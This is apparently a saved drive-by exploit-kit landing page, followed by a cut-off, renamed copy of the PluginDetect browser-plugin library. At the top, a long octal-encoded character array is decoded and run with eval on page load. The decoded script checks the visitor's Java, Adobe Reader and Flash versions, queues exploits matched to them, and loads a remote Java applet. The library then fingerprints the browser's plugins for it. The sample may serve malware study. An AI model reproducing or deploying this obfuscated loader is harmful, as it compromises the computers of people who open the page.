0173, 0141, 0162, 0133, 042, 0160, 0165, 0163, 0150, 042, 0135, 050, 0152, 062, 051, 073, 0175, 040, 0145, 0154, 0163, 0145, 040, 0151, 0146, 050, 044, 056, 0151, 0163, 0115, 0151, 0156, 0126, 0145, 0162, 0163, 0151, 0157, 0156, 050, 042, 0112, 0141, 042, 053, 042, 0166, 0141, 042, 051, 076, 075, 060, 046, 046, 050, 050, 0152, 0141, 0166, 0141, 0170, 0133, 060, 0135, 075, 075, 061, 046, 046, 0152, 0141, 0166, 0141, 0170, 0133, 061, 0135, 075, 075, 066, 046, 046, 0152, 0141, 0166, 0141, 0170, 0133, 063, 0135, 074, 063, 063, 051, 0174, 0174, 050, 0152, 0141, 0166, 0141, 0170, 0133, 060, 0135, 075, 075, 061, 046, 046, 0152, 0141, 0166, 0141, 0170, 0133, 061, 0135, 074, 066, 051, 051, 051, 0173, 0141, 0162, 0133, 042, 0160, 0165, 0163, 0150, 042, 0135, 050, 0152, 061, 051, 073, 0175, 0160, 0144, 0146, 0166, 0145, 0162, 075, 0160, 0144, 0160, 0144, 056, 0147, 0145, 0164, 0126, 0145, 0162, 0163, 0151, 0157, 0156, 050, 042, 0101, 0144, 0157, 0142, 0145, 0122, 0145, 0141, 0144, 0145, 0162, 042, 051, 073, 0151, 0146, 050, 0167, 0151, 0156, 0144, 0157, 0167, 056, 0144, 0157, 0143, 0165, 0155, 0145, 0156, 0164, 051, 0151, 0146, 050, 0164, 0171, 0160, 0145, 0157, 0146, 040, 0160, 0144, 0146, 0166, 0145, 0162, 075, 075, 042, 0163, 0164, 0162, 0151, 0156, 0147, 042, 051, 0173, 0160, 0144, 0146, 0166, 0145, 0162, 075, 0160, 0144, 0146, 0166, 0145, 0162, 0133, 042, 0163, 0160, 0154, 0151, 0164, 042, 0135, 050, 042, 056, 042, 051, 0175, 0145, 0154, 0163, 0145, 0173, 0160, 0144, 0146, 0166, 0145, 0162, 075, 0133, 060, 054, 060, 054, 060, 054, 060, 0135, 0175, 0151, 0146, 050, 0160, 0144, 0146, 0166, 0145, 0162, 0133, 060, 0135, 076, 060, 046, 046, 0160, 0144, 0146, 0166, 0145, 0162, 0133, 060, 0135, 074, 070, 051, 0173, 0151, 0146, 050, 0167, 0151, 0156, 0144, 0157, 0167, 056, 0144, 0157, 0143, 0165, 0155, 0145, 0156, 0164, 051, 0141, 0162, 0133, 042, 0160, 0165, 0163, 0150, 042, 0135, 050, 0160, 061, 051, 073, 0175, 0151, 0146, 040, 050, 050, 050, 0160, 0144, 0146, 0166, 0145, 0162, 0133, 060, 0135, 075, 075, 071, 051, 046, 046, 050, 0160, 0144, 0146, 0166, 0145, 0162, 0133, 061, 0135, 076, 075, 063, 051, 051, 0174, 0174, 050, 050, 0160, 0144, 0146, 0166, 0145, 0162, 0133, 060, 0135, 075, 075, 061, 060, 051, 046, 046, 050, 0160, 0144, 0146, 0166, 0145, 0162, 0133, 061, 0135, 074, 061, 060, 063, 051, 051, 051, 040, 0173, 0141, 0162, 0133, 042, 0160, 0165, 0163, 0150, 042, 0135, 050, 0160, 063, 051, 073, 0175, 040, 0145, 0154, 0163, 0145, 040, 0173, 0151, 0146, 050, 0167, 0151, 0156, 0144, 0157, 0167, 056, 0144, 0157, 0143, 0165, 0155, 0145, 0156, 0164, 046, 046, 050, 0160, 0144, 0146, 0166, 0145, 0162, 0133, 060, 0135, 075, 075, 070, 0174, 0174, 050, 0160, 0144, 0146, 0166, 0145, 0162, 0133, 060, 0135, 075, 075, 071, 046, 046, 0160, 0144, 0146, 0166, 0145, 0162, 0133, 061, 0135, 074, 064, 051, 051, 051, 0173, 0141, 0162, 0133, 042, 0160, 0165, 0163, 0150, 042, 0135, 050, 0160, 062, 051, 073, 0175, 0175, 0166, 0141, 0162, 040, 0166, 0145, 0162, 040, 075, 040, 050, 044, 044, 056, 0147, 0145, 0164, 0126, 0145, 0162, 0163, 0151, 0157, 0156, 050, 042, 0106, 0154, 0141, 0163, 0150, 042, 051, 053, 042, 056, 042, 051, 056, 0164, 0157, 0123, 0164, 0162, 0151, 0156, 0147, 050, 051, 0133, 042, 0163, 0160, 0154, 0151, 0164, 042, 0135, 050, 042, 056, 042, 051, 073, 0151, 0146, 040, 050, 050, 050, 0166, 0145, 0162, 0133, 060, 0135, 075, 075, 061, 060, 046, 046, 0166, 0145, 0162, 0133, 061, 0135, 075, 075, 060, 046, 046, 0166, 0145, 0162, 0133, 062, 0135, 076, 064, 060, 051, 0174, 0174, 050, 0167, 0151, 0156, 0144, 0157, 0167, 056, 0144, 0157, 0143, 0165, 0155, 0145, 0156, 0164, 046, 046, 050, 0166, 0145, 0162, 0133, 060, 0135, 075, 075, 061, 060, 046, 046, 0166, 0145, 0162, 0133, 061, 0135, 076, 060, 051, 046, 046, 050, 0166, 0145, 0162, 0133, 060, 0135, 075, 075, 061, 060, 046, 046, 0166, 0145, 0162, 0133, 061, 0135, 074, 062, 051, 051, 051, 0174, 0174, 0167, 0151, 0156, 0144, 0157, 0167, 056, 0144, 0157, 0143, 0165, 0155, 0145, 0156, 0164, 046, 046, 050, 050, 0166, 0145, 0162, 0133, 060, 0135, 075, 075, 061, 060, 046, 046, 0166, 0145, 0162, 0133, 061, 0135, 075, 075, 062, 046, 046, 0166, 0145, 0162, 0133, 062, 0135, 074, 061, 065, 071, 051, 0174, 0174, 050, 0166, 0145, 0162, 0133, 060, 0135, 075, 075, 061, 060, 046, 046, 0166, 0145, 0162, 0133, 061, 0135, 074, 062, 051, 051, 051, 0173, 0141, 0162, 0133, 042, 0160, 0165, 0163, 0150, 042, 0135, 050, 0146, 0146, 062, 051, 073, 0175, 0151, 0146, 050, 050, 0166, 0145, 0162, 0133, 060, 0135, 075, 075, 061, 060, 046, 046, 0166, 0145, 0162, 0133, 061, 0135, 075, 075, 063, 046, 046, 0166, 0145, 0162, 0133, 062, 0135, 075, 075, 061, 070, 061, 046, 046, 0166, 0145, 0162, 0133, 063, 0135, 074, 075, 062, 063, 051, 0174, 0174, 050, 0166, 0145, 0162, 0133, 060, 0135, 075, 075, 061, 060, 046, 046, 0166, 0145, 0162, 0133, 061, 0135, 075, 075, 063, 046, 046, 0166, 0145, 0162, 0133, 062, 0135, 074, 061, 070, 061, 051, 051, 0173, 0141, 0162, 0133, 042, 0160, 0165, 0163, 0150, 042, 0135, 050, 0146, 061, 051, 073, 0175, 0166, 0141, 0162, 040, 0141, 0162, 0143, 0141, 0154, 0154, 0151, 075, 060, 073, 0166, 0141, 0162, 040, 0141, 0162, 0143, 0141, 0154, 0154, 040, 075, 040, 0146, 0165, 0156, 0143, 0164, 0151, 0157, 0156, 050, 051, 0173, 0151, 0146, 050, 0141, 0162, 056, 0154, 0145, 0156, 0147, 0164, 0150, 074, 075, 0141, 0162, 0143, 0141, 0154, 0154, 0151, 051, 0162, 0145, 0164, 0165, 0162, 0156, 040, 061, 062, 063, 073, 0163, 0163, 075, 0163, 0145, 0164, 0124, 0151, 0155, 0145, 0157, 0165, 0164, 073, 0166, 0141, 0162, 040, 0162, 0145, 0163, 075, 0141, 0162, 0133, 0141, 0162, 0143, 0141, 0154, 0154, 0151, 0135, 050, 051, 073, 0141, 0162, 0143, 0141, 0154, 0154, 0151, 053, 053, 073, 0151, 0146, 050, 0162, 0145, 0163, 046, 046, 0167, 0151, 0156, 0144, 0157, 0167, 056, 0144, 0157, 0143, 0165, 0155, 0145, 0156, 0164, 051, 0173, 0163, 0163, 050, 0146, 0165, 0156, 0143, 0164, 0151, 0157, 0156, 050, 051, 0173, 0141, 0162, 0143, 0141, 0154, 0154, 050, 051, 0175, 054, 065, 065, 060, 071, 051, 073, 0175, 0145, 0154, 0163, 0145, 0173, 0141, 0162, 0143, 0141, 0154, 0154, 050, 051, 073, 0175, 0175, 073, 0141, 0162, 0143, 0141, 0154, 0154, 050, 051, 073, 0175, 044, 044, 0133, 042, 0157, 0156, 0104, 0145, 0164, 0145, 0143, 042, 053, 042, 0164, 0151, 0157, 0156, 0104, 0157, 0156, 0145, 042, 0135, 050, 042, 0112, 0141, 042, 053, 042, 0166, 0141, 042, 054, 040, 0163, 0166, 0167, 0162, 0142, 0145, 0167, 066, 064, 063, 066, 0142, 054, 040, 042, 056, 056, 057, 0164, 0162, 0145, 0141, 0164, 0151, 0156, 0147, 057, 0147, 0145, 0164, 0112, 0141, 0166, 0141, 0111, 0156, 0146, 0157, 056, 0152, 0141, 0162, 042, 051, 073]; | |
s = String.fromCharCode.apply(String, a); | |
if (window.document) eval(s); | |
</script> | |
</body> | |
</html> |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
"var pdpd={version:"0.7.9",name:"pdpd",handler:function(c,b,a){return function(){c(b,a)}},openTag:"<",isDefined:function(b){return typeof b!="undefined"},isArray:function(b){return(/array/i).test(Object.prototype.toString.call(b))},isFunc:function(b){return typeof b=="function"},isString:function(b){return typeof b=="string"},isNum:function(b){return typeof b=="number"},isStrNum:function(b){return(typeof b=="string"&&(/\d/).test(b))},getNumRegx:/[\d][\d\.\_,-]*/,splitNumRegx:/[\.\_,-]/g,getNum:function(b,c){var d=this,a=d.isStrNum(b)?(d.isDefined(c)?new RegExp(c):d.getNumRegx).exec(b):null;return a?a[0]:null},compareNums:function(h,f,d){var e=this,c,b,a,g=parseInt;if(e.isStrNum(h)&&e.isStrNum(f)){if(e.isDefined(d)&&d.compareNums){return d.compareNums(h,f)}c=h.split(e.splitNumRegx);b=f.split(e.splitNumRegx);for(a=0;a<Math.min(c.length,b.length);a++){if(g(c[a],10)>g(b[a],10)){return 1}if(g(c[a],10)<g(b[a],10)){return -1}}}return 0},formatNum:function(b,c){var d=this,a,e;if(!d.isStrNum(b)){return null}if(!d.isNum(c)){c=4}c--;e=b.replace(/\s/g,"").split(d.splitNumRegx).concat(["0","0","0","0"]);for(a=0;a<4;a++){if(/^(0+)(.+)$/.test(e[a])){e[a]=RegExp.$2}if(a>c||!(/\d/).test(e[a])){e[a]="0"}}return e.slice(0,4).join(",")},$$hasMimeType:function(a){return function(c){if(!a.isIE&&c){var f,e,b,d=a.isArray(c)?c:(a.isString(c)?[c]:[]);for(b=0;b<d.length;b++){if(a.isString(d[b])&&/[^\s]/.test(d[b])){f=navigator.mimeTypes[d[b]];e=f?f.enabledPlugin:0;if(e&&(e.name||e.description)){return f}}}}return null}},findNavPlugin:function(l,e,c){var j=this,h=new RegExp(l,"i"),d=(!j.isDefined(e)||e)?/\d/:0,k=c?new RegExp(c,"i"):0,a=navigator.plugins,g="",f,b,m;for(f=0;f<a.length;f++){m=a[f].description||g;b=a[f].name||g;if((h.test(m)&&(!d||d.test(RegExp.leftContext+RegExp.rightContext)))||(h.test(b)&&(!d||d.test(RegExp.leftContext+RegExp.rightContext)))){if(!k||!(k.test(m)||k.test(b))){return a[f]}}}return null},getMimeEnabledPlugin:function(k,m,c){var e=this,f,b=new RegExp(m,"i"),h="",g=c?new RegExp(c,"i"):0,a,l,d,j=e.isString(k)?[k]:k;for(d=0;d<j.length;d++){if((f=e.hasMimeType(j[d]))&&(f=f.enabledPlugin)){l=f.description||h;a=f.name||h;if(b.test(l)||b.test(a)){if(!g||!(g.test(l)||g.test(a))){return f}}}}return 0},getPluginFileVersion:function(f,b){var h=this,e,d,g,a,c=-1;if(h.OS>2||!f||!f.version||!(e=h.getNum(f.version))){return b}if(!b){return e}e=h.formatNum(e);b=h.formatNum(b);d=b.split(h.splitNumRegx);g=e.split(h.splitNumRegx);for(a=0;a<d.length;a++){if(-1<c&&c<a&&!(d[a]=="0")){return b}if(g[a]!=d[a]){if(c==-1){c=a}if(d[a]!="0"){return b}}}return e},AXO:window.ActiveXObject,getAXO:function(a){var f=null,d,b=this,c={};try{f=new b.AXO(a)}catch(d){}return f},convertFuncs:function(f){var a,g,d,b=/^[\$][\$]/,c=this;for(a in f){if(b.test(a)){try{g=a.slice(2);if(g.length>0&&!f[g]){f[g]=f[a](f);delete f[a]}}catch(d){}}}},initObj:function(e,b,d){var a,c;if(e){if(e[b[0]]==1||d){for(a=0;a<b.length;a=a+2){e[b[a]]=b[a+1]}}for(a in e){c=e[a];if(c&&c[b[0]]==1){this.initObj(c,b)}}}},initScript:function(){var d=this,a=navigator,h,i=document,l=a.userAgent||"",j=a.vendor||"",b=a.platform||"",k=a.product||"";d.initObj(d,["$",d]);for(h in d.Plugins){if(d.Plugins[h]){d.initObj(d.Plugins[h],["$",d,"$$",d.Plugins[h]],1)}}d.convertFuncs(d);d.OS=100;if(b){var g=["Win",1,"Mac",2,"Linux",3,"FreeBSD",4,"iPhone",21.1,"iPod",21.2,"iPad",21.3,"Win."+"*CE",22.1,"Win.*Mobile",22.2,"Pocket\s*PC",22.3,"",100];for(h=g.length-2;h>=0;h=h-2){if(g[h]&&new RegExp(g[h],"i").test(b)){d.OS=g[h+1];break}}};d.head=i.getElementsByTagName("head")[0]||i.getElementsByTagName("body")[0]||i.body||null;d.isIE=new Function("return/*@cc_on!@*/!1")();d.verIE=d.isIE&&(/MSIE\s*(\d+\.?\d*)/i).test(l)?parseFloat(RegExp.$1,10):null;d.ActiveXEnabled=false;if(d.isIE){var h,m=["Msxml2.XMLHTTP","Msxml2.DOMDocument","Microsoft.XMLDOM","ShockwaveFlash.ShockwaveFlash","TDCCtl.TDCCtl","Shell.UIHelper","Scripting.Dictionary","wmplayer.ocx"];for(h=0;h<m.length;h++){if(d.getAXO(m[h])){d.ActiveXEnabled=true;break}}};d.isGecko=(/Gecko\s*\/\s*\d/i).test(l)&&(/Gecko/i).test(k);d.verGecko=d.isGecko?d.formatNum((/rv\s*\:\s*([\.\,\d]+)/i).test(l)?RegExp.$1:"0.9"):null;d.isChrome=(/Chrome\s*\/\s*(\d[\d\.]*)/i).test(l);d.verChrome=d.isChrome?d.formatNum(RegExp.$1):null;d.isSafari=((/Apple/i).test(j)||(!j&&!d.isChrome))&&(/Safari\s*\/\s*(\d[\d\.]*)/i).test(l);d.verSafari=d.isSafari&&(/Version\s*\/\s*(\d[\d\.]*)/i).test(l)?d.formatNum(RegExp.$1):null;d.isOpera=(/Opera\s*[\/]?\s*(\d+\.?\d*)/i).test(l);d.verOpera=d.isOpera&&((/Version\s*\/\s*(\d+\.?\d*)/i).test(l)||1)?parseFloat(RegExp.$1,10):null;d.addWinEvent("load",d.handler(d.runWLfuncs,d))},init:function(d){var c=this,b,d,a={status:-3,plugin:0};if(!c.isString(d)){return a}if(d.length==1){c.getVersionDelimiter=d;return a}d=d.toLowerCase().replace(/\s/g,"");b=c.Plugins[d];if(!b||!b.getVersion){return a}a.plugin=b;if(!c.isDefined(b.installed)){b.installed=null;b.version=null;b.version0=null;b.getVersionDone=null;b.pluginName=d}c.garbage=false;if(c.isIE&&!c.ActiveXEnabled&&d!=="Ja"+"va"){a.status=-2;return a}a.status=1;return a},fPush:function(b,a){var c=this;if(c.isArray(a)&&(c.isFunc(b)||(c.isArray(b)&&c.isFunc(b[0])&&0<b.length))){a.push(b)}},callArray:function(b){var c=this,a;if(c.isArray(b)){for(a=0;a<b.length;a++){if(b[a]===null){return}c.call(b[a]);b[a]=null}}},call:function(c){var b=this,a=b.isArray(c)?c.length:-1;if(0<a&&b.isFunc(c[0])){c[0](b,a>1?c[1]:0,a>2?c[2]:0,a>3?c[3]:0)}else{if(b.isFunc(c)){c(b)}}},$$isMinVersion:function(a){return function(h,g,d,c){var e=a.init(h),f,b=-1,j={};if(e.status<0){return e.status}f=e.plugin;g=a.formatNum(a.isNum(g)?g.toString():(a.isStrNum(g)?a.getNum(g):"0"));if(f.getVersionDone!=1){f.getVersion(g,d,c);if(f.getVersionDone===null){f.getVersionDone=1}}a.cleanup();if(f.installed!==null){b=f.installed<=0.5?f.installed:(f.installed==0.7?1:(f.version===null?0:(a.compareNums(f.version,g,f)>=0?1:-0.1)))};return b}},getVersionDelimiter:",",$$getVersion:function(a){return function(g,d,c){var e=a.init(g),f,b,h={};if(e.status<0){return null};f=e.plugin;if(f.getVersionDone!=1){f.getVersion(null,d,c);if(f.getVersionDone===null){f.getVersionDone=1}}a.cleanup();b=(f.version||f.version0);b=b?b.replace(a.splitNumRegx,a.getVersionDelimiter):b;return b}},cleanup:function(){var a=this;if(a.garbage&&a.isDefined(window.CollectGarbage)){window.CollectGarbage()}},addWinEvent:function(d,c){var e=this,a=window,b;if(e.isFunc(c)){if(a.addEventListener){a.addEventListener(d,c,false)}else{if(a.attachEvent){a.attachEvent("on"+d,c)}else{b=a["on"+d];a["on"+d]=e.winHandler(c,b)}}}},winHandler:function(d,c){return function(){d();if(typeof c=="function"){c()}}},WLfuncs0:[],WLfuncs:[],runWLfuncs:function(a){var b={};a.winLoaded=true;a.callArray(a.WLfuncs0);a.callArray(a.WLfuncs);if(a.onDoneEmptyDiv){a.onDoneEmptyDiv()}},winLoaded:false,$$onWindowLoaded:function(a){return function(b){if(a.winLoaded){a.call(b)}else{a.fPush(b,a.WLfuncs)}}},$$onDetectionDone:function(a){return function(h,g,c,b){var d=a.init(h),k,e,j={};if(d.status==-3){return -1}e=d.plugin;if(!a.isArray(e.funcs)){e.funcs=[]}if(e.getVersionDone!=1){k=a.isMinVersion?a.isMinVersion(h,"0",c,b):a.getVersion(h,c,b)}if(e.installed!=-0.5&&e.installed!=0.5){a.call(g);return 1}if(e.NOTF){a.fPush(g,e.funcs);return 0}return 1}},div:null,divID:"pdpd",divWidth:50,pluginSize:1,emptyDiv:function(){var d=this,b,h,c,a,f,g;if(d.div&&d.div.childNodes){for(b=d.div.childNodes.length-1;b>=0;b--){c=d.div.childNodes[b];if(c&&c.childNodes){for(h=c.childNodes.length-1;h>=0;h--){g=c.childNodes[h];try{c.removeChild(g)}catch(f){}}}if(c){try{d.div.removeChild(c)}catch(f){}}}}if(!d.div){a=document.getElementById(d.divID);if(a){d.div=a}}if(d.div&&d.div.parentNode){try{d.div.parentNode.removeChild(d.div)}catch(f){}d.div=null}},DONEfuncs:[],onDoneEmptyDiv:function(){var c=this,a,b;if(!c.winLoaded){return}if(c.WLfuncs&&c.WLfuncs.length&&c.WLfuncs[c.WLfuncs.length-1]!==null){return}for(a in c){b=c[a];if(b&&b.funcs){if(b.OTF==3){return}if(b.funcs.length&&b.funcs[b.funcs.length-1]!==null){return}}}for(a=0;a<c.DONEfuncs.length;a++){c.callArray(c.DONEfuncs)}c.emptyDiv()},getWidth:function(c){if(c){var a=c.scrollWidth||c.offsetWidth,b=this;if(b.isNum(a)){return a}}return -1},getTagStatus:function(m,g,a,b){var c=this,f,k=m.span,l=c.getWidth(k),h=a.span,j=c.getWidth(h),d=g.span,i=c.getWidth(d);if(!k||!h||!d||!c.getDOMobj(m)){return -2}if(j<i||0>l||0>j||0>i||i<=c.pluginSize||c.pluginSize<1){return 0}if(l>=i){return -1}try{if(l==c.pluginSize&&(!c.isIE||c.getDOMobj(m).readyState==4)){if(!m.winLoaded&&c.winLoaded){return 1}if(m.winLoaded&&c.isNum(b)){if(!c.isNum(m.count)){m.count=b}if(b-m.count>=10){return 1}}}}catch(f){}return 0},getDOMobj:function(g,a){var f,d=this,c=g?g.span:0,b=c&&c.firstChild?1:0;try{if(b&&a){d.div.focus()}}catch(f){}return b?c.firstChild:null},setStyle:function(b,g){var f=b.style,a,d,c=this;if(f&&g){for(a=0;a<g.length;a=a+2){try{f[g[a]]=g[a+1]}catch(d){}}}},insertDivInBody:function(i,g){var f,c=this,h="pd33993399",b=null,d=g?window.top.document:window.document,a=d.getElementsByTagName("body")[0]||d.body;if(!a){try{d.write('<div id="'+h+'">.'+c.openTag+"/div>");b=d.getElementById(h)}catch(f){}}a=d.getElementsByTagName("body")[0]||d.body;if(a){a.insertBefore(i,a.firstChild);if(b){a.removeChild(b)}}},insertHTML:function(f,b,g,a,k){var l,m=document,j=this,p,o=m.createElement("span"),n,i;var c=["outlineStyle","none","borderStyle","none","padding","0px","margin","0px","visibility","visible"];var h="outline-style:none;border-style:none;padding:0px;margin:0px;visibility:visible;";if(!j.isDefined(a)){a=""}if(j.isString(f)&&(/[^\s]/).test(f)){f=f.toLowerCase().replace(/\s/g,"");p=j.openTag+f+' width="'+j.pluginSize+'" height="'+j.pluginSize+'" ';p+='style="'+h+'display:inline;" ';for(n=0;n<b.length;n=n+2){if(/[^\s]/.test(b[n+1])){p+=b[n]+'="'+b[n+1]+'" '}}p+=">";for(n=0;n<g.length;n=n+2){if(/[^\s]/.test(g[n+1])){p+=j.openTag+'param name="'+g[n]+'" value="'+g[n+1]+'" />'}}p+=a+j.openTag+"/"+f+">"}else{p=a}if(!j.div){i=m.getElementById(j.divID);if(i){j.div=i}else{j.div=m.createElement("div");j.div.id=j.divID}j.setStyle(j.div,c.concat(["width",j.divWidth+"px","height",(j.pluginSize+3)+"px","fontSize",(j.pluginSize+3)+"px","lineHeight",(j.pluginSize+3)+"px","verticalAlign","baseline","display","block"]));if(!i){j.setStyle(j.div,["position","absolute","right","0px","top","0px"]);j.insertDivInBody(j.div)}}if(j.div&&j.div.parentNode){j.setStyle(o,c.concat(["fontSize",(j.pluginSize+3)+"px","lineHeight",(j.pluginSize+3)+"px","verticalAlign","baseline","display","inline"]));try{o.innerHTML=p}catch(l){};try{j.div.appendChild(o)}catch(l){};return{span:o,winLoaded:j.winLoaded,tagName:f,outerHTML:p}}return{span:null,winLoaded:j.winLoaded,tagName:"",outerHTML:p}},file:{$:1,any:"fileStorageAny999",valid:"fileStorageValid999",save:function(d,f,c){var b=this,e=b.$,a;if(d&&e.isDefined(c)){if(!d[b.any]){d[b.any]=[]}if(!d[b.valid]){d[b.valid]=[]}d[b.any].push(c);a=b.split(f,c);if(a){d[b.valid].push(a)}}},getValidLength:function(a){return a&&a[this.valid]?a[this.valid].length:0},getAnyLength:function(a){return a&&a[this.any]?a[this.any].length:0},getValid:function(c,a){var b=this;return c&&c[b.valid]?b.get(c[b.valid],a):null},getAny:function(c,a){var b=this;return c&&c[b.any]?b.get(c[b.any],a):null},get:function(d,a){var c=d.length-1,b=this.$.isNum(a)?a:c;return(0>b||b>c)?null:d[b]},split:function(g,c){var b=this,e=b.$,f=null,a,d;g=g?g.replace(".","\."):"";d=new RegExp("^(.*[^\/])("+g+"\s*)$");if(e.isString(c)&&d.test(c)){a=(RegExp.$1).split("/");f={name:a[a.length-1],ext:RegExp.$2,full:c};a[a.length-1]="";f.path=a.join("/")}return f},z:0},Plugins:{java:{mimeType:["application/x-java-applet","application/x-java-vm","application/x-java-bean"],classID:"clsid:8AD9C840-044E-11D1-B3E9-00805F499D93",navigator:{a:window.navigator.javaEnabled(),javaEnabled:function(){return this.a},mimeObj:0,pluginObj:0},OTF:null,minIEver:7,debug:0,debugEnable:function(){var a=this,b=a.$;a.debug=1},isDisabled:{$:1,DTK:function(){var a=this,c=a.$,b=a.$$;if((c.isGecko&&c.compareNums(c.verGecko,c.formatNum("1.6"))<=0)||(c.isSafari&&c.OS==1&&(!c.verSafari||0>c.compareNums(c.verSafari,"5,1,0,0")))||c.isChrome||(c.isIE&&!c.ActiveXEnabled)){return 1}return 0},AXO:function(){var a=this,c=a.$,b=a.$$;return(!c.isIE||!c.ActiveXEnabled||(!b.debug&&b.DTK.query().status!==0))},navMime:function(){var b=this,d=b.$,c=b.$$,a=c.navigator;if(d.isIE||!a.mimeObj||!a.pluginObj){return 1}return 0},navPlugin:function(){var b=this,d=b.$,c=b.$$,a=c.navigator;if(d.isIE||!a.mimeObj||!a.pluginObj){return 1}return 0},windowDotJava:function(){var a=this,c=a.$,b=a.$$;if(!window.java){return 1}if(c.OS==2&&c.verOpera>8&&c.verOpera&&c.verOpera<(9.3-0.1)){return 1}return 0},allApplets:function(){var b=this,d=b.$,c=b.$$,a=c.navigator;if(d.OS>=20){return 0}if(d.verOpera&&d.verOpera<11&&!a.javaEnabled()&&!c.lang.System.getProperty()[0]){return 1}if((d.verGecko&&0>d.compareNums(d.verGecko,d.formatNum("2")))&&!a.mimeObj&&!c.lang.System.getProperty()[0]){return 1}return 0},AppletTag:function(){var b=this,d=b.$,c=b.$$,a=c.navigator;return d.isIE?!a.javaEnabled():0},ObjectTag:function(){var a=this,c=a.$,b=a.$$;return c.isIE?!c.ActiveXEnabled:0},z:0},getVerifyTagsDefault:function(){var a=this,c=a.$,b=[1,0,1];if(c.OS>=20){return b}if((c.isIE&&(c.verIE<9||!c.ActiveXEnabled))||(c.verGecko&&0>c.compareNums(c.verGecko,c.formatNum("2")))||(c.isSafari&&(!c.verSafari||0>c.compareNums(c.verSafari,c.formatNum("4"))))||(c.verOpera&&c.verOpera<10)){b=[1,1,1]}return b},getVersion:function(j,g,i){var b=this,d=b.$,e,a=b.applet,h=b.verify,k=b.navigator,f=null,l=null,c=null;if(b.getVersionDone===null){b.OTF=0;k.mimeObj=d.hasMimeType(b.mimeType);if(k.mimeObj){k.pluginObj=k.mimeObj.enabledPlugin}if(h){h.begin()}}a.setVerifyTagsArray(i);d.file.save(b,".jar",g);if(b.getVersionDone===0){if(a.should_Insert_Query_Any()){e=a.insert_Query_Any();b.setPluginStatus(e[0],e[1],f)}return}if((!f||b.debug)&&b.DTK.query().version){f=b.DTK.version}if((!f||b.debug)&&b.navMime.query().version){f=b.navMime.version}if((!f||b.debug)&&b.navPlugin.query().version){f=b.navPlugin.version}if((!f||b.debug)&&b.AXO.query().version){f=b.AXO.version}if(b.nonAppletDetectionOk(f)){c=f}if(!c||b.debug||a.VerifyTagsHas(2.2)||a.VerifyTagsHas(2.5)){e=b.lang.System.getProperty();if(e[0]){f=e[0];c=e[0];l=e[1]}}b.setPluginStatus(c,l,f);if(a.should_Insert_Query_Any()){e=a.insert_Query_Any();if(e[0]){c=e[0];l=e[1]}}b.setPluginStatus(c,l,f)},nonAppletDetectionOk:function(b){var d=this,e=d.$,a=d.navigator,c=1;if(!b||(!a.javaEnabled()&&!d.lang.System.getPropertyHas(b))||(!e.isIE&&!a.mimeObj&&!d.lang.System.getPropertyHas(b))||(e.isIE&&!e.ActiveXEnabled)){c=0}else{if(e.OS>=20){}else{if(d.info&&0>d.info.getPlugin2Status()&&d.info.BrowserRequiresPlugin2()){c=0}}}return c},setPluginStatus:function(d,f,a){var c=this,e=c.$,b;a=a||c.version0;if(0<c.OTF){d=d||c.lang.System.getProperty()[0]}if(c.OTF<3){b=d?1:(a?-0.2:-1);if(c.installed===null||b>c.installed){c.installed=b}}if(c.OTF==2&&c.NOTF&&!c.applet.getResult()[0]&&!c.lang.System.getProperty()[0]){c.installed=a?-0.2:-1};if(c.OTF==3&&c.installed!=-0.5&&c.installed!=0.5){c.installed=(c.NOTF.isJavaActive(1)==1||c.lang.System.getProperty()[0])?0.5:-0.5}if(c.OTF==4&&(c.installed==-0.5||c.installed==0.5)){if(d){c.installed=1}else{if(c.NOTF.isJavaActive(1)==1){if(a){c.installed=1;d=a}else{c.installed=0}}else{if(a){c.installed=-0.2}else{c.installed=-1}}}};if(a){c.version0=e.formatNum(e.getNum(a))}if(d){c.version=e.formatNum(e.getNum(d))}if(f&&e.isString(f)){c.vendor=f}if(!c.vendor){c.vendor=""}if(c.verify&&c.verify.isEnabled()){c.getVersionDone=0}else{if(c.getVersionDone!=1){if(c.OTF<2){c.getVersionDone=0}else{c.getVersionDone=c.applet.can_Insert_Query_Any()?0:1}}}},DTK:{$:1,hasRun:0,status:null,VERSIONS:[],version:"",HTML:null,Plugin2Status:null,classID:["clsid:CAFEEFAC-DEC7-0000-0001-ABCDEFFEDCBA","clsid:CAFEEFAC-DEC7-0000-0000-ABCDEFFEDCBA"],mimeType:["application/java-deployment-toolkit","application/npruntime-scriptable-plugin;DeploymentToolkit"],disabled:function(){return this.$$.isDisabled.DTK()},query:function(){var k=this,g=k.$,d=k.$$,j,l,h,m={},f={},a,c=null,i=null,b=(k.hasRun||k.disabled());k.hasRun=1;if(b){return k}k.status=0;if(g.isIE&&6<=g.verIE){for(l=0;l<k.classID.length;l++){k.HTML=g.insertHTML("object",["classid",k.classID[l]],[]);c=g.getDOMobj(k.HTML);try{if(c&&c.jvms){break}}catch(j){}}}else{if(!g.isIE&&(h=g.hasMimeType(k.mimeType))&&h.type){k.HTML=g.insertHTML("object",["type",h.type],[]);c=g.getDOMobj(k.HTML)}}if(c){try{a=c.jvms;if(a){i=a.getLength();if(g.isNum(i)){k.status=0<i?1:-1;for(l=0;l<i;l++){h=g.getNum(a.get(i-1-l).version);if(h){k.VERSIONS.push(h);f["a"+g.formatNum(h)]=1}}}}}catch(j){}}h=0;for(l in f){h++}if(h&&h!==k.VERSIONS.length){k.VERSIONS=[]}if(k.VERSIONS.length){k.version=g.formatNum(k.VERSIONS[0])};return k}},AXO:{$:1,hasRun:0,VERSIONS:[],version:"",disabled:function(){return this.$$.isDisabled.AXO()},JavaVersions:[[1,9,1,40],[1,8,1,40],[1,7,1,40],[1,6,0,40],[1,5,0,30],[1,4,2,30],[1,3,1,30]],query:function(){var a=this,e=a.$,b=a.$$,c=(a.hasRun||a.disabled());a.hasRun=1;if(c){return a}var i=[],k=[1,5,0,14],j=[1,6,0,2],h=[1,3,1,0],g=[1,4,2,0],f=[1,5,0,7],d=b.getInfo?true:false,l={};if(b.minIEver<=e.verIE){i=a.search(j,j,d);if(0<i.length&&d){i=a.search(k,k,d)}}else{if(d){i=a.search(f,f,true)}if(i.length==0){i=a.search(h,g,false)}}if(i.length){a.version=i[0];a.VERSIONS=[].concat(i)};return a},search:function(a,j,p){var h,d,f=this,e=f.$,k=f.$$,n,c,l,q,b,o,r,i=[];if(0<e.compareNums(a.join(","),j.join(","))){j=a}j=e.formatNum(j.join(","));var 